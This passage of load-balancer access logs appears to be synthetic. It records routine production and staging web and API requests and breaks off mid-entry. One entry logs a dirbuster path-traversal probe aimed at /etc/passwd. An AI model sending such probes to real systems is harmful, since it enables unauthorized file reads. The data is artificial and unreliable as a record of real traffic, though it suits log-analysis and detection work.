arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5a8-282ba5706f3a4e00b4ced850" "prod-api-alb.example.com" "-" 7 2024-11-01T02:08:24.698414Z "forward" "-" "-" "10.0.146.225:443" "200" "-" "-" -http 2024-11-01T02:08:25.374134Z staging-alb 185.181.162.113:27764 14.168.3.58:8080 0.092509 0.119020 0.003598 404 404 807 459 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5a9-9c94df46bb0b4683948c6f89" "-" "-" 2 2024-11-01T02:08:25.374134Z "forward" "-" "-" "14.168.3.58:8080" "404" "-" "-" -http 2024-11-01T02:08:26.171947Z staging-alb 57.56.35.182:63713 117.229.46.203:443 0.134796 0.435843 0.054853 302 302 350 14066 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5aa-cab09e48ba694843bcfe0c15" "staging-alb.example.com" "-" 0 2024-11-01T02:08:26.171947Z "forward" "-" "-" "117.229.46.203:443" "302" "-" "-" -https 2024-11-01T02:08:27.875301Z staging-alb 227.239.92.82:40098 202.218.121.124:443 0.080024 0.183272 0.121447 200 200 616 5346 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5ab-25ced2271a084875a4a998cc" "staging-alb.example.com" "-" 3 2024-11-01T02:08:27.875301Z "forward" "-" "-" "202.218.121.124:443" "200" "-" "-" -http 2024-11-01T02:08:29.794811Z staging-alb 29.95.146.27:45928 0.29.46.103:80 0.140773 0.392704 0.113426 200 200 636 13482 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5ad-c5b17a14bf9e41239de7c607" "staging-alb.example.com" "-" 10 2024-11-01T02:08:29.794811Z "forward" "-" "-" "0.29.46.103:80" "200" "-" "-" -https 2024-11-01T02:08:30.916193Z staging-alb 45.53.243.235:12652 121.98.219.34:80 0.134790 0.507252 0.064958 200 200 814 8577 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5ae-fcfd1f26ebd644e7918f36db" "staging-alb.example.com" "-" 9 2024-11-01T02:08:30.916193Z "forward" "-" "-" "121.98.219.34:80" "200" "-" "-" -https 2024-11-01T02:08:32.830679Z prod-web-alb 128.233.37.69:62294 10.0.34.176:443 0.090702 0.430325 0.007174 200 200 786 9583 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5b0-d6de3e57d10845de8145967e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:08:32.830679Z "forward" "-" "-" "10.0.34.176:443" "200" "-" "-" -https 2024-11-01T02:08:33.699609Z prod-api-alb 78.195.3.93:24597 10.0.143.61:443 0.038002 0.218026 0.054821 200 200 237 4133 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5b1-57665b4489ef4a11ad79004f" "prod-api-alb.example.com" "-" 5 2024-11-01T02:08:33.699609Z "forward" "-" "-" "10.0.143.61:443" "200" "-" "-" -https 2024-11-01T02:08:35.364561Z prod-web-alb 173.158.40.42:44115 10.0.166.176:443 0.077766 0.071485 0.022542 200 200 620 11916 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5b3-9fc221723f4e4e088ba1d916" "prod-web-alb.example.com" "-" 1 2024-11-01T02:08:35.364561Z "forward" "-" "-" "10.0.166.176:443" "200" "-" "-" -http 2024-11-01T02:08:35.989477Z staging-alb 190.227.195.5:33468 31.150.49.239:80 0.108235 0.025771 0.145709 200 200 710 9448 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5b3-f9f47a93d2284b739e2d8d5c" "staging-alb.example.com" "-" 7 2024-11-01T02:08:35.989477Z "forward" "-" "-" "31.150.49.239:80" "200" "-" "-" -https 2024-11-01T02:08:37.431385Z prod-web-alb 42.94.121.142:43724 10.0.28.225:443 0.064616 0.366775 0.076841 200 200 983 6406 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5b5-e355a3c7982a4c82ac3ace50" "prod-web-alb.example.com" "-" 5 2024-11-01T02:08:37.431385Z "forward" "-" "-" "10.0.28.225:443" "200" "-" "-" -https 2024-11-01T02:08:38.601579Z prod-api-alb 21.15.9.213:24946 10.0.44.71:443 0.086706 0.145149 0.039133 301 301 640 4450 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5b6-99153172b2c14c30b017e865" "prod-api-alb.example.com" "-" 7 2024-11-01T02:08:38.601579Z "forward" "-" "-" "10.0.44.71:443" "301" "-" "-" -https 2024-11-01T02:08:39.397222Z prod-api-alb 0.159.70.64:37594 10.0.212.168:443 0.000986 0.173984 0.063854 301 301 365 12850 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5b7-571efd7b42474208afdaa346" "prod-api-alb.example.com" "-" 0 2024-11-01T02:08:39.397222Z "forward" "-" "-" "10.0.212.168:443" "301" "-" "-" -https 2024-11-01T02:08:39.837976Z prod-web-alb 188.249.182.230:31301 10.0.207.2:443 0.094551 0.460847 0.080419 200 200 713 8043 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5b7-254dbbb316574850b579b812" "prod-web-alb.example.com" "-" 0 2024-11-01T02:08:39.837976Z "forward" "-" "-" "10.0.207.2:443" "200" "-" "-" -https 2024-11-01T02:08:41.820717Z prod-api-alb 2.187.220.250:12287 10.0.149.75:443 0.097912 0.447970 0.011072 404 404 91 1413 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5b9-b692ce3abe904baebb294ca3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:08:41.820717Z "forward" "-" "-" "10.0.149.75:443" "404" "-" "-" -https 2024-11-01T02:08:41.957216Z prod-web-alb 150.124.248.86:41821 10.0.165.239:443 0.014993 0.358583 0.004153 200 200 307 13415 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5b9-eb06211e7d0c4f16870c960c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:08:41.957216Z "forward" "-" "-" "10.0.165.239:443" "200" "-" "-" -https 2024-11-01T02:08:42.618240Z prod-api-alb 56.144.243.113:55646 10.0.90.205:443 0.060062 0.014393 0.045262 200 200 40 5116 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5ba-1e609aa3cf8743dcab253d36" "prod-api-alb.example.com" "-" 1 2024-11-01T02:08:42.618240Z "forward" "-" "-" "10.0.90.205:443" "200" "-" "-" -https 2024-11-01T02:08:43.664144Z prod-api-alb 74.144.73.30:58543 10.0.137.173:443 0.024709 0.382801 0.070701 200 200 365 883 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5bb-379e920c03404af8b65305e8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:08:43.664144Z "forward" "-" "-" "10.0.137.173:443" "200" "-" "-" -https 2024-11-01T02:08:43.838480Z prod-web-alb 180.70.46.249:52940 10.0.2.150:443 0.042000 0.343970 0.049340 200 200 447 9834 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5bb-39730a9f5dfe4933a6757c8b" "prod-web-alb.example.com" "-" 0 2024-11-01T02:08:43.838480Z "forward" "-" "-" "10.0.2.150:443" "200" "-" "-" -https 2024-11-01T02:08:44.269301Z prod-web-alb 28.81.28.255:44127 10.0.93.113:443 0.084089 0.065493 0.071167 200 200 257 6745 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5bc-10a65ef961ef452aa07ed2db" "prod-web-alb.example.com" "-" 7 2024-11-01T02:08:44.269301Z "forward" "-" "-" "10.0.93.113:443" "200" "-" "-" -https 2024-11-01T02:08:46.050131Z prod-api-alb 193.39.7.202:44998 10.0.167.61:443 0.028557 0.426785 0.020881 404 404 166 11656 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5be-60cf94117c824421add26af7" "prod-api-alb.example.com" "-" 0 2024-11-01T02:08:46.050131Z "forward" "-" "-" "10.0.167.61:443" "404" "-" "-" -https 2024-11-01T02:08:46.274496Z staging-alb 144.28.253.59:49133 54.194.146.246:80 0.022995 0.137063 0.017295 301 301 305 8478 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5be-b9ed27ecc3e14fd28e360759" "staging-alb.example.com" "-" 1 2024-11-01T02:08:46.274496Z "forward" "-" "-" "54.194.146.246:80" "301" "-" "-" -http 2024-11-01T02:08:46.503237Z staging-alb 149.124.144.11:62881 242.106.242.178:8080 0.038499 0.721814 0.015705 200 200 329 7494 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5be-cbc9effd3f744b539c0ceb94" "staging-alb.example.com" "-" 0 2024-11-01T02:08:46.503237Z "forward" "-" "-" "242.106.242.178:8080" "200" "-" "-" -http 2024-11-01T02:08:48.481198Z staging-alb 174.11.2.226:38900 131.30.98.103:443 0.102220 0.503038 0.149506 200 200 390 4629 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5c0-1d3711b019114f08be22723e" "staging-alb.example.com" "-" 9 2024-11-01T02:08:48.481198Z "forward" "-" "-" "131.30.98.103:443" "200" "-" "-" -https 2024-11-01T02:08:49.610861Z prod-web-alb 218.236.54.64:19341 10.0.127.24:443 0.089758 0.109838 0.028340 200 200 616 8711 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c1-c5a57853f22d43768cc5a892" "prod-web-alb.example.com" "-" 1 2024-11-01T02:08:49.610861Z "forward" "-" "-" "10.0.127.24:443" "200" "-" "-" -https 2024-11-01T02:08:50.035886Z prod-web-alb 13.153.134.211:21529 10.0.206.181:443 0.073004 0.406528 0.066930 301 301 338 9214 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c2-edb7323b9ee14428a28955f0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:08:50.035886Z "forward" "-" "-" "10.0.206.181:443" "301" "-" "-" -https 2024-11-01T02:08:51.130096Z prod-web-alb 70.190.148.137:20131 10.0.252.95:443 0.049151 0.413030 0.014237 301 301 807 11371 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c3-50597b419680498a8feb70f9" "prod-web-alb.example.com" "-" 6 2024-11-01T02:08:51.130096Z "forward" "-" "-" "10.0.252.95:443" "301" "-" "-" -https 2024-11-01T02:08:51.337745Z staging-alb 18.62.170.54:19681 135.178.169.100:80 0.048034 0.667172 0.031922 200 200 819 6512 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5c3-885035359b3c4c5686efa46a" "staging-alb.example.com" "-" 10 2024-11-01T02:08:51.337745Z "forward" "-" "-" "135.178.169.100:80" "200" "-" "-" -https 2024-11-01T02:08:52.427972Z prod-web-alb 30.123.142.136:12632 10.0.221.179:443 0.040641 0.345980 0.019457 404 404 757 1293 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5c4-4139bde995e94f5094c4f56e" "prod-web-alb.example.com" "-" 5 2024-11-01T02:08:52.427972Z "forward" "-" "-" "10.0.221.179:443" "404" "-" "-" -https 2024-11-01T02:08:53.318785Z prod-api-alb 18.245.20.137:26473 10.0.90.158:443 0.036289 0.468235 0.081604 200 200 804 9345 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5c5-905d417b15aa4bc2b8583ba4" "prod-api-alb.example.com" "-" 2 2024-11-01T02:08:53.318785Z "forward" "-" "-" "10.0.90.158:443" "200" "-" "-" -https 2024-11-01T02:08:53.523531Z prod-web-alb 4.13.20.226:44498 10.0.165.77:443 0.059561 0.139251 0.084627 200 200 505 13734 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c5-bad7c23499994599af05da11" "prod-web-alb.example.com" "-" 9 2024-11-01T02:08:53.523531Z "forward" "-" "-" "10.0.165.77:443" "200" "-" "-" -https 2024-11-01T02:08:54.246761Z staging-alb 111.135.231.173:51835 241.196.54.50:80 0.041865 0.610743 0.141870 404 404 274 13333 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5c6-735a1e4f64164b1fba953147" "staging-alb.example.com" "-" 2 2024-11-01T02:08:54.246761Z "forward" "-" "-" "241.196.54.50:80" "404" "-" "-" -http 2024-11-01T02:08:55.982366Z staging-alb 30.72.19.120:11792 1.30.235.235:80 0.141705 0.175134 0.143638 200 200 892 5127 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5c7-a47f49ccdd3d430aaf88ae11" "staging-alb.example.com" "-" 7 2024-11-01T02:08:55.982366Z "forward" "-" "-" "1.30.235.235:80" "200" "-" "-" -https 2024-11-01T02:08:57.982080Z prod-api-alb 65.109.186.214:38053 10.0.170.149:443 0.040823 0.227348 0.023361 301 301 457 5490 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5c9-688c1588bd844ffc8031c267" "prod-api-alb.example.com" "-" 3 2024-11-01T02:08:57.982080Z "forward" "-" "-" "10.0.170.149:443" "301" "-" "-" -https 2024-11-01T02:08:58.100226Z prod-api-alb 152.112.77.85:62125 10.0.40.191:443 0.052249 0.034954 0.030756 301 301 830 9470 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5ca-973f1835f97e4b60bce80f37" "prod-api-alb.example.com" "-" 2 2024-11-01T02:08:58.100226Z "forward" "-" "-" "10.0.40.191:443" "301" "-" "-" -https 2024-11-01T02:09:00.099227Z prod-web-alb 142.49.117.243:51845 10.0.77.230:443 0.044539 0.145580 0.099796 302 302 140 9144 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5cc-0bf8fb5e10224a5dbca74587" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:00.099227Z "forward" "-" "-" "10.0.77.230:443" "302" "-" "-" -https 2024-11-01T02:09:01.901806Z prod-web-alb 168.117.79.45:17927 10.0.128.165:443 0.044393 0.201099 0.082540 302 302 957 10252 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5cd-1d29e28cd7ca48848efa2cb6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:09:01.901806Z "forward" "-" "-" "10.0.128.165:443" "302" "-" "-" -https 2024-11-01T02:09:02.142539Z prod-web-alb 45.17.124.152:37844 10.0.216.30:443 0.065208 0.010682 0.011626 200 200 257 5001 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5ce-1b30f60d3d7c410cb77e514e" "prod-web-alb.example.com" "-" 1 2024-11-01T02:09:02.142539Z "forward" "-" "-" "10.0.216.30:443" "200" "-" "-" -https 2024-11-01T02:09:03.300070Z prod-web-alb 209.77.206.130:50778 10.0.146.242:443 0.082791 0.134614 0.008485 404 404 386 3502 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5cf-624fb032b52242caa3e530b1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:09:03.300070Z "forward" "-" "-" "10.0.146.242:443" "404" "-" "-" -https 2024-11-01T02:09:03.617078Z prod-web-alb 136.22.201.74:13555 10.0.117.148:443 0.053499 0.005233 0.084065 404 404 692 8869 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5cf-70ff336dc6a943338e2c169a" "prod-web-alb.example.com" "-" 0 2024-11-01T02:09:03.617078Z "forward" "-" "-" "10.0.117.148:443" "404" "-" "-" -https 2024-11-01T02:09:04.108563Z prod-api-alb 112.86.140.238:62750 10.0.210.106:443 0.022853 0.352451 0.092738 200 200 642 1227 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5d0-d092cae90b674947a8ba0ccf" "prod-api-alb.example.com" "-" 3 2024-11-01T02:09:04.108563Z "forward" "-" "-" "10.0.210.106:443" "200" "-" "-" -http 2024-11-01T02:09:04.334208Z staging-alb 177.58.36.139:24692 8.91.8.60:443 0.107230 0.618607 0.085580 200 200 869 12258 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d0-ec97eb1c13154d52802c05d5" "staging-alb.example.com" "-" 3 2024-11-01T02:09:04.334208Z "forward" "-" "-" "8.91.8.60:443" "200" "-" "-" -http 2024-11-01T02:09:04.718406Z staging-alb 193.27.228.71:31998 39.136.69.104:8080 0.033406 0.699786 0.046411 403 403 429 3318 "POST /metrics HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5d0-9ab3486f67294df98900c16c" "-" "-" 3 2024-11-01T02:09:04.718406Z "forward" "-" "-" "39.136.69.104:8080" "403" "-" "-" -https 2024-11-01T02:09:05.484357Z prod-api-alb 191.129.120.114:48229 10.0.254.174:443 0.094126 0.086410 0.082991 200 200 836 12172 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5d1-d219d587928a488ba1d53511" "prod-api-alb.example.com" "-" 3 2024-11-01T02:09:05.484357Z "forward" "-" "-" "10.0.254.174:443" "200" "-" "-" -https 2024-11-01T02:09:05.678626Z prod-web-alb 81.52.140.185:31486 10.0.118.230:443 0.085312 0.229093 0.001700 200 200 445 8901 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5d1-56a8a1e1647b4da1a97dde9e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:09:05.678626Z "forward" "-" "-" "10.0.118.230:443" "200" "-" "-" -https 2024-11-01T02:09:06.355683Z prod-web-alb 27.186.219.25:29598 10.0.110.185:443 0.005676 0.268349 0.013366 404 404 232 8859 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5d2-7bab501f3609482ca7e3aafa" "prod-web-alb.example.com" "-" 3 2024-11-01T02:09:06.355683Z "forward" "-" "-" "10.0.110.185:443" "404" "-" "-" -http 2024-11-01T02:09:08.304366Z staging-alb 223.0.161.38:60479 57.212.85.230:80 0.132996 0.040280 0.005248 200 200 418 872 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d4-ca80192efa9f4251a46d5b8e" "staging-alb.example.com" "-" 10 2024-11-01T02:09:08.304366Z "forward" "-" "-" "57.212.85.230:80" "200" "-" "-" -https 2024-11-01T02:09:09.163253Z prod-api-alb 46.187.69.5:43588 10.0.195.22:443 0.093472 0.033988 0.073145 200 200 339 2928 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5d5-051b57ea85d4484abae061c7" "prod-api-alb.example.com" "-" 3 2024-11-01T02:09:09.163253Z "forward" "-" "-" "10.0.195.22:443" "200" "-" "-" -https 2024-11-01T02:09:09.476364Z staging-alb 22.54.57.197:14777 11.223.217.117:80 0.137373 0.020060 0.112144 302 302 308 12472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 